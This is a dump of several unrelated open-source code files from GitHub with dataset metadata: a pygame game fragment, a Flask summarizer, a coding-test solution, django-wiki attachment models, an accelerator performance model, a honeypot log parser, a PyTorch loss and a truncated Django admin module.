play(playerX,playerY)\r\n show_score(textX,textY)\r\n\r\n # if you dont update the new changes wont be able to see\r\n pygame.display.update()\r\n","repo_name":"mishraPratyush1/spaceInvader","sub_path":"invader.py","file_name":"invader.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73017987148","text":"from flask import Flask, request, render_template\nfrom gensim.summarization.summarizer import summarize\nimport spacy\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/summarize', methods=[\"POST\"])\ndef get_summary():\n if request.method == \"POST\":\n submission = request.form['submission']\n summary = summarize(submission).split('.')\n \n nlp = spacy.load(\"en_core_web_sm\")\n document = nlp(submission)\n \n people = []\n for entity in document.ents:\n print(entity.label)\n if entity.label == 380:\n people.append(entity.text)\n \n return render_template('summary.html', \n summary=summary,\n people=set(people))\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"dylankfernandes/SummarizeMe","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23901558808","text":"# 큰 수의 법칙\n# 연속으로 더할 수 있는 횟수는 최대 k번이므로 가장 큰 수를 K번 더하고 두 번째로 큰 수를 한 번 더하는 연산을 반복\n# N, M, K를 공백으로 구분하여 입력받기\nn, m, k = map(int, input().split())\n# N개의 수를 공백으로 구분하여 입력받기\ndata = list(map(int, input().split()))\n\ndata.sort() # 입력받은 수들 정렬하기\nfirst = data[n - 1]\nsecond = data[n - 2]\n\n# 단순하게 푸는 답안 예시\n# result = 0\n\n# while True:\n# for i in range(k): # 가장 큰 수를 K번 더하기\n# if m == 0: # m이 0이라면 반복문 탈출\n# break\n# result += first\n# m -= 1\n# if m == 0: # m이 0이라면 반복문 탈출\n# break\n# result += second\n# m -= 1\n\n# print(result)\n\n# M을 (K+1)로 나눈 몫이 수열이 반복되는 횟수가 되고 다시 여기에 K를 곱해주면 가장 큰 수가 등장하는 횟수가 됨\n# M이 (K+1)로 나누어 떨어지지 않은 ��우, M을 (K+1)로 나눈 나머지만큼 가장 큰 수가 추가로 더해짐\n# 가장 큰 수가 더해지는 횟수 계산\ncount = int(m / (k+1)) * k\ncount += m % (k + 1)\n\nresult = 0\nresult += (count) * first # 가장 큰 수 더하기\nresult += (m - count) * second # 두 번째로 큰 수 더하기\n\nprint(result)","repo_name":"leeht0113/coding_test","sub_path":"solution/3-2.py","file_name":"3-2.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3586942425","text":"import os\n\nfrom django.conf import settings as django_settings\nfrom django.db import models\nfrom django.db.models import signals\nfrom django.utils.translation import gettext\nfrom django.utils.translation import gettext_lazy as _\nfrom wiki import managers\nfrom wiki.decorators import disable_signal_for_loaddata\nfrom wiki.models.article import BaseRevisionMixin\nfrom wiki.models.pluginbase import ReusablePlugin\n\nfrom . import settings\n\n\nclass IllegalFileExtension(Exception):\n\n \"\"\"File extension on upload is not allowed\"\"\"\n\n pass\n\n\nclass Attachment(ReusablePlugin):\n\n objects = managers.ArticleFkManager()\n\n current_revision = models.OneToOneField(\n \"AttachmentRevision\",\n verbose_name=_(\"current revision\"),\n blank=True,\n null=True,\n related_name=\"current_set\",\n on_delete=models.CASCADE,\n help_text=_(\n \"The revision of this attachment currently in use (on all articles using the attachment)\"\n ),\n )\n\n original_filename = models.CharField(\n max_length=256, verbose_name=_(\"original filename\"), blank=True, null=True\n )\n\n def can_write(self, user):\n if not settings.ANONYMOUS and (not user or user.is_anonymous):\n return False\n return ReusablePlugin.can_write(self, user)\n\n def can_delete(self, user):\n return self.can_write(user)\n\n class Meta:\n verbose_name = _(\"attachment\")\n verbose_name_plural = _(\"attachments\")\n # Matches label of upcoming 0.1 release\n db_table = \"wiki_attachments_attachment\"\n\n def __str__(self):\n from wiki.models import Article\n\n try:\n return \"%s: %s\" % (\n self.article.current_revision.title,\n self.original_filename,\n )\n except Article.DoesNotExist:\n return \"Attachment for non-existing article\"\n\n\ndef extension_allowed(filename):\n try:\n extension = filename.split(\".\")[-1]\n except IndexError:\n # No extension\n raise IllegalFileExtension(\n gettext(\"No file extension found in filename. That's not okay!\")\n )\n if not extension.lower() in map(lambda x: x.lower(), settings.FILE_EXTENSIONS):\n raise IllegalFileExtension(\n gettext(\n \"The following filename is illegal: {filename:s}. Extension \"\n \"has to be one of {extensions:s}\"\n ).format(filename=filename, extensions=\", \".join(settings.FILE_EXTENSIONS))\n )\n\n return extension\n\n\ndef upload_path(instance, filename):\n extension = extension_allowed(filename)\n\n # Has to match original extension filename\n if instance.id and instance.attachment and instance.attachment.original_filename:\n original_extension = instance.attachment.original_filename.split(\".\")[-1]\n if not extension.lower() == original_extension:\n raise IllegalFileExtension(\n \"File extension has to be '%s', not '%s'.\"\n % (original_extension, extension.lower())\n )\n elif instance.attachment:\n instance.attachment.original_filename = filename\n\n upload_path = settings.UPLOAD_PATH\n upload_path = upload_path.replace(\"%aid\", str(instance.attachment.article.id))\n if settings.UPLOAD_PATH_OBSCURIFY:\n import random\n import hashlib\n\n m = hashlib.md5(str(random.randint(0, 100000000000000)).encode(\"ascii\"))\n upload_path = os.path.join(upload_path, m.hexdigest())\n\n if settings.APPEND_EXTENSION:\n filename += \".upload\"\n return os.path.join(upload_path, filename)\n\n\nclass AttachmentRevision(BaseRevisionMixin, models.Model):\n\n attachment = models.ForeignKey(\"Attachment\", on_delete=models.CASCADE)\n\n file = models.FileField(\n upload_to=upload_path, # @ReservedAssignment\n max_length=255,\n verbose_name=_(\"file\"),\n storage=settings.STORAGE_BACKEND,\n )\n\n description = models.TextField(blank=True)\n\n class Meta:\n verbose_name = _(\"attachment revision\")\n verbose_name_plural = _(\"attachment revisions\")\n ordering = (\"created\",)\n get_latest_by = \"revision_number\"\n # Matches label of upcoming 0.1 release\n db_table = \"wiki_attachments_attachmentrevision\"\n\n def get_filename(self):\n \"\"\"Used to retrieve the filename of a revision.\n But attachment.original_filename should always be used in the frontend\n such that filenames stay consistent.\"\"\"\n # TODO: Perhaps we can let file names change when files are replaced?\n if not self.file:\n return None\n filename = self.file.name.split(\"/\")[-1]\n return \".\".join(filename.split(\".\")[:-1])\n\n def get_size(self):\n \"\"\"Used to retrieve the file size and not cause exceptions.\"\"\"\n try:\n return self.file.size\n except (ValueError, OSError):\n return None\n\n def __str__(self):\n return \"%s: %s (r%d)\" % (\n self.attachment.article.current_revision.title,\n self.attachment.original_filename,\n self.revision_number,\n )\n\n\n@disable_signal_for_loaddata\ndef on_revision_delete(instance, *args, **kwargs):\n if not instance.file:\n return\n\n # Remove file\n path = instance.file.path.split(\"/\")[:-1]\n instance.file.delete(save=False)\n\n # Clean up empty directories\n\n # Check for empty folders in the path. Delete the first two.\n max_depth = 1\n if len(path) != 0:\n if len(path[-1]) == 32:\n # Path was (most likely) obscurified so we should look 2 levels down\n max_depth = 2\n\n for depth in range(0, max_depth):\n delete_path = \"/\".join(path[:-depth] if depth > 0 else path)\n try:\n if (\n len(os.listdir(os.path.join(django_settings.MEDIA_ROOT, delete_path)))\n == 0\n ):\n os.rmdir(delete_path)\n except OSError:\n # Raised by os.listdir if directory is missing\n pass\n\n\n@disable_signal_for_loaddata\ndef on_attachment_revision_pre_save(**kwargs):\n instance = kwargs[\"instance\"]\n if instance._state.adding:\n update_previous_revision = (\n not instance.previous_revision\n and instance.attachment\n and instance.attachment.current_revision\n and instance.attachment.current_revision != instance\n )\n if update_previous_revision:\n instance.previous_revision = instance.attachment.current_revision\n\n if not instance.revision_number:\n try:\n previous_revision = instance.attachment.attachmentrevision_set.latest()\n instance.revision_number = previous_revision.revision_number + 1\n # NB! The above should not raise the below exception, but somehow\n # it does.\n except (AttachmentRevision.DoesNotExist, Attachment.DoesNotExist):\n instance.revision_number = 1\n\n\n@disable_signal_for_loaddata\ndef on_attachment_revision_post_save(**kwargs):\n instance = kwargs[\"instance\"]\n if not instance.attachment.current_revision:\n # If I'm saved from Django admin, then article.current_revision is\n # me!\n instance.attachment.current_revision = instance\n instance.attachment.save()\n\n\nsignals.pre_delete.connect(on_revision_delete, AttachmentRevision)\nsignals.pre_save.connect(on_attachment_revision_pre_save, AttachmentRevision)\nsignals.post_save.connect(on_attachment_revision_post_save, AttachmentRevision)\n","repo_name":"django-wiki/django-wiki","sub_path":"src/wiki/plugins/attachments/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7522,"program_lang":"python","lang":"en","doc_type":"code","stars":1724,"dataset":"github-code","pt":"82"} +{"seq_id":"32248892426","text":"import numpy as np\nfrom operator import mul\nfrom math import ceil\nop_type_dicts = {0: 'FC', 1: 'CONV2D', 2: 'DWCONV', 3: 'GEMM', 4: 'Logit', 5: 'Attend'}\nclass Operator(object):\n def __init__(self, dim, density=(1.0,1.0,1.0)):\n self.dim = dim\n self.density_a, self.density_w, self.density_o = density\n self.input_a, self.input_w, self.output = self.get_tensors()\n self.num_ops = self.get_num_ops()\n self.set_mem_pin(*self.get_default_mem_loc())\n\n def get_default_mem_loc(self):\n return ['off', 'off', 'off']\n\n def set_mem_pin(self, input_a=None, input_w=None, output=None):\n if input_a is not None:\n self.input_a_loc = input_a\n if input_w is not None:\n self.input_w_loc = input_w\n if output is not None:\n self.output_loc = output\n\n def set_tensor(self, input_a=None, input_w=None, output=None):\n if input_a is not None:\n self.input_a = input_a\n if input_w is not None:\n self.input_w = input_w\n if output is not None:\n self.output = output\n\n def get_density_list(self):\n return [self.density_a, self.density_w, self.density_o]\n\n def get_op_type(self, dim):\n return op_type_dicts[dim[-1]]\n\n def get_tensors(self):\n pass\n\n def get_size(self, tensor):\n return np.prod(tensor)\n\n def get_num_ops(self):\n pass\n\n def get_effective_dim_len(self):\n pass\n\n def get_num_data(self):\n return sum(self.get_sz_list())\n\n def get_effective_num_data(self, system):\n return sum(self.get_sz_list(system))\n\n def get_ideal_compute_time(self, system):\n return self.get_effective_num_ops(system) * system.get_bit_multiplier(type='C')/system.op_per_sec\n\n def get_ideal_memory_time(self, system):\n sz_list = self.get_sz_list(system)\n memory_time_onchip = 0\n memory_time_offchip = 0\n for tensor_sz in sz_list:\n memory_time_onchip += tensor_sz * system.get_bit_multiplier(type='M')/ system.onchip_mem_bw\n memory_time_offchip += tensor_sz * system.get_bit_multiplier(type='M')/ system.offchip_mem_bw\n return memory_time_offchip, memory_time_onchip\n\n\n\n def get_compute_efficiency(self, mxu_shape, mxu_mapping):\n outer_iters = ceil(mxu_mapping[0]/mxu_shape[0])\n inner_iters = []\n for mxu_size, dim_size in zip(mxu_shape[1:], mxu_mapping[1:]):\n inner_iter_cur = ceil(dim_size/mxu_size)\n inner_iters.append(inner_iter_cur)\n iters = [outer_iters] + inner_iters\n num_iters = np.prod(iters)\n efficiency = np.prod(mxu_mapping) / (num_iters * np.prod(mxu_shape))\n return num_iters, efficiency\n\n\n\n def get_effective_mxu_mapping(self, system):\n left, upper, contract, outer = self.get_gemms()\n if system.skip_compute:\n contract = contract * self.density_w * self.density_a\n if contract < 1:\n print(f'[Warning] Contract dimension < 1, after sparsified')\n if system.skip_compute_on_noopt_output:\n left = left *self.density_o\n mxu_mapping = np.sort([left, upper, contract])[::-1]\n *mxu_mapping, streaming_dim = [outer] + [m for m in mxu_mapping]\n return mxu_mapping, streaming_dim\n\n def get_effective_mxu_shape(self, mxu_shape):\n effective_mxu_shape = np.sort(mxu_shape[-2:])[::-1]\n effective_mxu_shape = [mxu_shape[0]] + [m for m in effective_mxu_shape]\n return effective_mxu_shape\n\n def get_compute_time(self, system):\n if system.mxu_shape is not None:\n mxu_mapping, _ = self.get_effective_mxu_mapping(system)\n effective_mxu_shape = self.get_effective_mxu_shape(system.mxu_shape)\n # print(mxu_mapping, effective_mxu_shape)\n _ , compute_efficiency = self.get_compute_efficiency(effective_mxu_shape, mxu_mapping)\n elif(system.accelerator_type==\"unstructured\" and (self.density_a*self.density_w*self.density_o < 1) and system.treat_as_dense == False):\n compute_efficiency = system.unstructured_efficiency\n else:\n compute_efficiency = 1\n compute_efficiency = min(1,compute_efficiency) ## Max efficiency is 1.0\n return self.get_effective_num_ops(system) * system.get_bit_multiplier(type='C')/system.op_per_sec / compute_efficiency, compute_efficiency\n \n def get_mxu_energy(self, system):\n if system.mxu_shape is not None:\n mxu_mapping, streaming_dim = self.get_effective_mxu_mapping(system)\n power_gating_mxu_shape = [ m//g for m, g in zip(system.mxu_shape, system.power_gating_granularity)]\n effective_mxu_shape = self.get_effective_mxu_shape(power_gating_mxu_shape)\n pg_num_iters, compute_efficiency = self.get_compute_efficiency(effective_mxu_shape, mxu_mapping)\n effective_mxu_shape = self.get_effective_mxu_shape(system.mxu_shape)\n origin_num_iters, compute_efficiency = self.get_compute_efficiency(effective_mxu_shape, mxu_mapping)\n energy_per_power_gated_mxu = system.energy_per_4_128_128_mxu / np.prod(system.power_gating_granularity)\n power_gated_energy = energy_per_power_gated_mxu * pg_num_iters * streaming_dim\n energy = system.energy_per_4_128_128_mxu * origin_num_iters * streaming_dim\n else:\n energy = system.power_per_4_128_128_mxu * self.get_effective_num_ops(system) / (system.op_per_sec)\n power_gated_energy = energy\n return energy, power_gated_energy\n\n\n\n # def get_compute_efficeincy(self, dim_size, mxu_size):\n # iters = ceil(dim_size/mxu_size)\n # efficiency = dim_size/ (iters * mxu_size)\n # return efficiency\n #\n # def get_compute_time(self, system):\n #\n # if system.mxu_shape is not None:\n # left, upper, contract, outer = self.get_gemms()\n # if system.skip_compute:\n # contract = contract * self.density_w * self.density_a\n # if contract < 1:\n # print(f'[Warning] Contract dimension < 1, after sparsified')\n # if system.skip_compute_on_noopt_output:\n # left = left *self.density_o\n # mxu_mapping = np.sort([left, upper, contract])[::-1][:2]\n # effective_mxu_shape = np.sort(system.mxu_shape[-2:])[::-1]\n # compute_efficiency = np.prod([self.get_compute_efficeincy(d, m) for d, m in zip(mxu_mapping, effective_mxu_shape)])\n # else:\n # compute_efficiency = 1.0\n # return self.get_effective_num_ops(system) * system.get_bit_multiplier(type='C')/system.op_per_sec / compute_efficiency\n\n def get_compute_energy(self, system):\n return self.get_effective_num_ops(system) * system.energy_per_mac\n\n\n\n def get_effective_num_ops(self, system):\n if system.skip_compute:\n if system.skip_compute_on_noopt_output:\n return self.get_num_ops() * min(ceil((self.density_w * self.density_a * self.density_o) /system.pe_min_density_support) * system.pe_min_density_support ,1.0)\n else:\n return self.get_num_ops() * min( ceil((self.density_w * self.density_a) /system.pe_min_density_support) * system.pe_min_density_support , 1.0)\n else:\n return self.get_num_ops()\n\n def get_index_bits_estimator(self, density):\n if density < 0.1:\n bits = 4\n elif density < 0.25:\n bits = 3\n elif density == 1:\n bits = 0\n else:\n bits = 2\n return bits\n\n\n def get_sz_list(self, system=None, index_mem=False):\n if system:\n if system.compress_mem:\n sz_list = [sz * density for sz, density in zip(self.get_sz_list(), self.get_density_list())]\n if not index_mem:\n return sz_list\n else:\n left, upper, contract, outer = self.get_gemms()\n contract_w = max(1, contract*self.density_w)\n contract_a = max(1, contract*self.density_a)\n index_size_w = upper * contract_w * outer * self.get_index_bits_estimator(self.density_w) / 8 * system.get_bit_multiplier('M')\n index_size_a = left * contract_a * outer * self.get_index_bits_estimator(self.density_a) / 8 * system.get_bit_multiplier('M')\n sz_list[0] += index_size_a\n sz_list[1] += index_size_w\n return sz_list\n\n return list(map(self.get_size, [self.input_a, self.input_w, self.output]))\n\n def get_loc_list(self):\n return [self.input_a_loc, self.input_w_loc, self.output_loc]\n\n def get_memory_time(self, system):\n sz_list = self.get_sz_list(system)\n loc_list = self.get_loc_list()\n memory_time = 0\n for tensor_sz, loc in zip(sz_list, loc_list):\n if loc == 'off':\n bw = system.offchip_mem_bw\n elif loc == 'on':\n bw = system.onchip_mem_bw\n else:\n raise ValueError(f'Wrong bw allocation: {loc}.')\n memory_time += tensor_sz * system.get_bit_multiplier(type='M')/bw\n return memory_time\n\n def get_memory_energy(self, system):\n sz_list = self.get_sz_list(system)\n loc_list = self.get_loc_list()\n memorgy_energy = 0\n for tensor_sz, loc in zip(sz_list, loc_list):\n if loc == 'off':\n energy = system.energy_per_offchip_access\n elif loc == 'on':\n energy = system.energy_per_onchip_access + system.energy_per_offchip_access\n else:\n raise ValueError(f'Wrong bw allocation: {loc}.')\n memorgy_energy += tensor_sz * energy\n return memorgy_energy\n\n\n def get_onchip_occupancy(self):\n sz_list = self.get_sz_list()\n loc_list = self.get_loc_list()\n onchip_mem_occupancy = 0\n for tensor_sz, loc in zip(sz_list, loc_list):\n if loc == 'on':\n onchip_mem_occupancy += tensor_sz\n\n return onchip_mem_occupancy\n\n def get_roofline(self, system, unit):\n # ideal_compute_time = self.get_ideal_compute_time(system=system)\n # ideal_complete_offchip_time, ideal_complete_onchip_time = self.get_ideal_memory_time(system=system)\n # x2 for ops -> float ops\n num_ops = self.get_effective_num_ops(system) * 2\n num_data = self.get_effective_num_data(system) * system.get_bit_multiplier(type='M')\n op_intensity = num_ops/num_data\n\n # ideal_exec_time_complete_offchip = max(ideal_compute_time, ideal_complete_offchip_time)\n # ideal_exec_time_complete_onchip = max(ideal_compute_time, ideal_complete_onchip_time)\n\n # ideal_thrpt_complete_offchip = num_ops/ideal_exec_time_complete_offchip\n # ideal_thrpt_complete_onchip = num_ops/ideal_exec_time_complete_onchip\n\n compute_time, compute_efficiency = self.get_compute_time(system=system)\n mxu_energy, power_gated_mxu_energy = self.get_mxu_energy(system=system)\n compute_time /= system.compute_efficiency\n compute_efficiency /= system.compute_efficiency\n memory_time = self.get_memory_time(system=system) / system.memory_efficiency\n exec_time = max(compute_time, memory_time)\n thrpt = num_ops/exec_time\n com_to_mem_ratio = compute_time/memory_time\n boundedness = 'C' if com_to_mem_ratio > 1 else 'M'\n\n input_a_size, input_w_size, output_size = self.get_sz_list(system)\n\n compute_energy = self.get_compute_energy(system)\n memory_energy = self.get_memory_energy(system)\n total_energy = compute_energy + memory_energy\n saved_energy_rate = (mxu_energy-power_gated_mxu_energy)/mxu_energy\n ret = {\n 'Op Type': self.get_op_type(self.dim),\n 'Dimension': self.dim[:self.get_effective_dim_len()],\n 'Bound': boundedness,\n 'C/M ratio': com_to_mem_ratio,\n 'Op Intensity': op_intensity,\n f'Latency ({unit.unit_time})': unit.raw_to_unit(exec_time, type='T'),\n f'Cycles': exec_time*system.frequency,\n f'C Effcy': compute_efficiency,\n f'Num ops ({unit.unit_flop})': unit.raw_to_unit(num_ops, type='O'),\n f'Input_a ({unit.unit_mem})': unit.raw_to_unit(input_a_size, type='M'),\n f'Input_w ({unit.unit_mem})': unit.raw_to_unit(input_w_size, type='M'),\n f'Output ({unit.unit_mem})': unit.raw_to_unit(output_size, type='M'),\n f'Total Data ({unit.unit_mem})': unit.raw_to_unit(sum(self.get_sz_list(system)), type='M'),\n f'Throughput ({unit.unit_compute})': unit.raw_to_unit(thrpt, type='C'),\n # f'Roofline Throughput offchip ({unit.unit_compute})': unit.raw_to_unit(ideal_thrpt_complete_offchip, type='C'),\n # f'Roofline Throughput onchip ({unit.unit_compute})': unit.raw_to_unit(ideal_thrpt_complete_onchip, type='C'),\n f'Compute Cycles': compute_time*system.frequency,\n f'Memory Cycles': memory_time*system.frequency,\n # f'MXU energy (uJ)': mxu_energy *1e6,\n # f'PG-MXU energy (uJ)': power_gated_mxu_energy *1e6,\n # f'Total energy (uJ)': power_gated_mxu_energy*1e6,\n # f'Saved energy (%)': saved_energy_rate * 100,\n # f'Compute energy (mJ)': compute_energy *1e3,\n # f'Mem energy (mJ)': memory_energy *1e3 ,\n # f'Total energy (mJ)': total_energy*1e3,\n # f'Onchip Memory Occupancy ({unit.unit_mem})': unit.raw_to_unit(self.get_onchip_occupancy(), type='M'),\n # f'Left Onchip Memory ({unit.unit_mem})': unit.raw_to_unit(system.claim_onchip_mem(\n # self.get_onchip_occupancy()), type='M'),\n }\n\n return ret\n\n\n\n\n\n\n\n\n\n\n","repo_name":"maestro-project/frame","sub_path":"src/operator_base.py","file_name":"operator_base.py","file_ext":"py","file_size_in_byte":13895,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"82"} +{"seq_id":"26550154155","text":"import re\nimport copy\n\ntemplate_re = re.compile(r'Using [T|t]emplate: (\\d{3})')\nip_re = re.compile(r'Attacker connected: (\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})')\ncommand_re = re.compile(r'Noninteractive mode attacker command: (.*)$')\n\nclass Attack:\n def __init__(self):\n self.template = None\n self.data = ''\n self.ip = ''\n self.success = False\n self.noninteractiveCommand = ''\n self.isCat = False\n\n# Returns an array of attack objects\ndef getAttacks(logFile):\n # Parses the log10_.txt file\n file = open(logFile)\n attacks = []\n attack = Attack()\n inAttack = False\n for line in file:\n if (line.find('Using template') != -1):\n temp = template_re.match(line)\n if temp != None:\n if inAttack and attack.success:\n inAttack = False\n attacks.append(copy.copy(attack))\n attack = Attack()\n attack.template = temp.groups()[0]\n elif (line.find ('Attacker connected') != -1 and inAttack == False):\n ip = ip_re.search(line)\n if ip != None:\n attack.ip = ip.groups()[0]\n inAttack = True\n elif (line.find(\"Attacker authenticated and is inside container\") != -1):\n attack.success = True\n elif (line.find(\"Attacker closed the connection\") != -1 and attack.success == False):\n attack.ip = ''\n attack.data = ''\n inAttack = False\n elif (line.find(\"Noninteractive mode\") != -1):\n command = command_re.search(line)\n if command != None:\n attack.noninteractiveCommand = command.group(1)\n attack.isCat = attack.noninteractiveCommand.find(\"/proc/cpuinfo\") != -1\n elif (line.find(\"SHELL\") != -1):\n inAttack = False\n attack.success = False\n if inAttack:\n attack.data += line + '\\n'\n return attacks\n\n# Returns an array of Attack Objects\ndef getAllAttacks(directory, with_cat):\n attacks101 = getAttacks(directory+'/log101.txt')\n attacks102 = getAttacks(directory+'/log102.txt')\n attacks103 = getAttacks(directory+'/log103.txt')\n attacks104 = getAttacks(directory+'/log104.txt')\n ips = set()\n attacks = []\n for attack in attacks101 + attacks102 + attacks103 + attacks104:\n if not (attack.ip in ips):\n if with_cat or ((not attack.isCat) and (not with_cat)):\n ips.add(attack.ip)\n attacks.append(attack)\n return attacks\n\n#Use this method to collect data about attacks separated by template\ndef attacksByTemplate():\n attacks = getAllAttacks('./logs-11-10')\n for attack in attacks:\n if attack.template == \"201\":\n # call method that collects data about attack, print is placeholder\n print(attack.ip)\n elif attack.template == \"202\":\n # call method that collects data about attack, print is placeholder\n print(attack.ip)\n\n\ndef printData(attacks):\n for attack in attacks:\n print(attack.data)\n\n\nif __name__ == \"__main__\":\n attacksTest = getAllAttacks('./directory')\n printData(attacksTest)\n","repo_name":"JMS55/HACS2001FTheMatrixScripts","sub_path":"scripts/data_analysis/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"30762723825","text":"import torch\nfrom torch import nn\nfrom ssim import msssim\nimport torch.nn.functional as F\n\n\nclass CompoundLoss(nn.Module):\n def __init__(self, alpha=0.8, normalize=True):\n super(CompoundLoss, self).__init__()\n self.alpha = alpha\n self.normalize = normalize\n self.lamda = 0\n\n def forward(self, prediction, target):\n loss_l1 = F.l1_loss(prediction, target)\n loss_l2 = F.mse_loss(prediction, target)\n loss_content = self.lamda * loss_l2 + (1 - self.lamda) * loss_l1\n loss_ssim = self.alpha * (1.0 - msssim(prediction, target, normalize=self.normalize))\n return (loss_content + loss_ssim)","repo_name":"fankaljead/mmstfn","sub_path":"loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41288605058","text":"from django.contrib import admin\nfrom django.contrib.admin.util import unquote, flatten_fieldsets, get_deleted_objects\nfrom django.forms.models import modelform_factory\nfrom django import template, views\nfrom django.shortcuts import get_object_or_404, render_to_response\nfrom django.utils.translation import ugettext as _\nfrom django.utils.encoding import force_unicode\nfrom django.utils.safestring import mark_safe\nfrom django.conf import settings\nfrom django.http import Http404, HttpResponse, HttpResponseRedirect\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.utils.functional import curry\nfrom django.utils._os import safe_join\nfrom django.core.urlresolvers import reverse\n\nfrom dnsman.parking.models import ParkingPage\nfrom dnsman.parking.forms import ParkingPageAddForm, ParkingPageChangeForm, ParkingPageDeleteForm\nfrom dnsman.parking import PARKING_PAGES_URL\nfrom dnsman.lib.filetree import filetree_virtualroot\nfrom dnsman.parking.filetree import ExternalResourcesServer\n\nimport os\n\nclass ParkingPageAdmin(admin.ModelAdmin): \n # See: self.get_form() and self.get_fieldsets()\n add_form = ParkingPageAddForm\n add_fieldsets = [\n ('', {'fields': ['name']}),\n ('Advanced', {'fields': ['resources_dir'], 'classes': ['collapse', 'advanced']}),\n ]\n change_form = ParkingPageChangeForm\n change_fieldsets = [\n ('Basic information', {'fields': ['name'], 'classes': ['collapse', 'basic']}),\n ('Template', {'fields': ['template', 'template_file'], 'classes': ['template']}),\n ('Advanced', {'fields': ['resources_dir', 'extends'], 'classes': ['collapse', 'advanced']}),\n ]\n\n list_display = ('name', 'extends', 'formatted_last_modified', 'used_in')\n list_filter = ['extends']\n search_fields = ['name']\n\n def get_urls(self):\n from django.conf.urls.defaults import patterns, url\n urls = super(ParkingPageAdmin, self).get_urls()\n my_urls = patterns('',\n url(r'^(.+)/external-resources/$', self.admin_site.admin_view(self.extresources_view), name='parkingpages_extresources'),\n url(r'^(.+)/external-resources/filetree$', self.admin_site.admin_view(self.filetree_view), name='parkingpages_filetree'),\n url(r'^(.+)/preview/$', self.admin_site.admin_view(self.preview_view), name='parkingpages_preview'),\n )\n return my_urls + urls\n\n def extresources_view(self, request, object_id, extra_context=None):\n \"The external-resources admin view for parking pages.\"\n model = self.model\n opts = model._meta\n\n object = get_object_or_404(model, pk=unquote(object_id))\n\n if not self.has_change_permission(request, object):\n raise PermissionDenied\n\n context = {\n 'title': _('External resources: %s') % force_unicode(object),\n 'is_popup': False,\n 'object': object,\n 'media': mark_safe(self.media),\n 'root_path': self.admin_site.root_path,\n 'app_label': opts.app_label,\n 'opts': opts,\n 'filetree': {\n 'backend_url': reverse('admin:parkingpages_filetree', args=[object_id]),\n 'hrefPrefix': PARKING_PAGES_URL,\n 'rootPath': filetree_virtualroot(object.resources_dir),\n 'rootText': os.path.basename(object.resources_dir),\n },\n }\n context.update(extra_context or {})\n\n context_instance = template.RequestContext(request, current_app=self.admin_site.name)\n return render_to_response(\"admin/%s/%s/external_resources.html\" % (opts.app_label, opts.object_name.lower()),\n context, context_instance=context_instance)\n\n def filetree_view(self, request, object_id, extra_context=None):\n \"\"\"FileTreePanel backend\"\"\"\n parkingPage = get_object_or_404(self.model, pk=unquote(object_id))\n\n if not self.has_change_permission(request, parkingPage):\n raise PermissionDenied\n\n filetree = ExternalResourcesServer(parkingPage.resources_dir_fullpath)\n return filetree.serve(request)\n filetree_view.csrf_exempt = True\n\n def preview_view(self, request, object_id, extra_context=None):\n \"\"\"Preview parking pages\"\"\"\n parkingPage = get_object_or_404(self.model, pk=unquote(object_id))\n\n if not self.has_change_permission(request, parkingPage):\n raise PermissionDenied\n \n class ExampleDomain(object):\n name = \"example.com\"\n parking_page = parkingPage\n domain = ExampleDomain()\n\n return parkingPage.to_response(request, domain)\n\n # We override this to give different forms for add and change\n def get_form(self, request, obj=None, **kwargs):\n try:\n if obj is None:\n form = self.add_form\n else:\n form = self.change_form\n except AttributeError:\n raise ImproperlyConfigured(\"%s must have add_form and change_form defined\" % self.__name__)\n \n if self.declared_fieldsets:\n fields = flatten_fieldsets(self.declared_fieldsets)\n else:\n fields = None\n if self.exclude is None:\n exclude = []\n else:\n exclude = list(self.exclude)\n exclude.extend(kwargs.get(\"exclude\", []))\n exclude.extend(self.get_readonly_fields(request, obj))\n # if exclude is an empty list we pass None to be consistant with the\n # default on modelform_factory\n exclude = exclude or None\n defaults = {\n \"form\": form,\n \"fields\": fields,\n \"exclude\": exclude,\n \"formfield_callback\": curry(self.formfield_for_dbfield, request=request),\n }\n defaults.update(kwargs)\n return modelform_factory(self.model, **defaults)\n\n def get_fieldsets(self, request, obj=None):\n if obj is None:\n return self.add_fieldsets\n else:\n return self.change_fieldsets\n\n @admin.options.csrf_protect_m\n def delete_view(self, request, object_id, extra_context=None):\n \"The 'delete' admin view for this model.\"\n opts = self.model._meta\n app_label = opts.app_label\n\n obj = self.get_object(request, unquote(object_id))\n\n if not self.has_delete_permission(request, obj):\n raise PermissionDenied\n\n if obj is None:\n raise Http404(_('%(name)s object with primary key %(key)r does not exist.') % {'name': force_unicode(opts.verbose_name), 'key': escape(object_id)})\n\n # Populate deleted_objects, a data structure of all related objects that\n # will also be deleted.\n (deleted_objects, perms_needed) = get_deleted_objects((obj,), opts, request.user, self.admin_site)\n\n if request.method == 'POST': # The user has already confirmed the deletion.\n if perms_needed:\n raise PermissionDenied\n form = ParkingPageDeleteForm(request.POST)\n if form.is_valid():\n obj_display = force_unicode(obj)\n self.log_deletion(request, obj, obj_display)\n obj.delete(keep_resources=form.cleaned_data['keep_resources'])\n\n self.message_user(request, _('The %(name)s \"%(obj)s\" was deleted successfully.') % {'name': force_unicode(opts.verbose_name), 'obj': force_unicode(obj_display)})\n\n if not self.has_change_permission(request, None):\n return HttpResponseRedirect(\"../../../../\")\n return HttpResponseRedirect(\"../../\")\n\n form = ParkingPageDeleteForm()\n\n context = {\n \"title\": _(\"Are you sure?\"),\n \"object_name\": force_unicode(opts.verbose_name),\n \"object\": 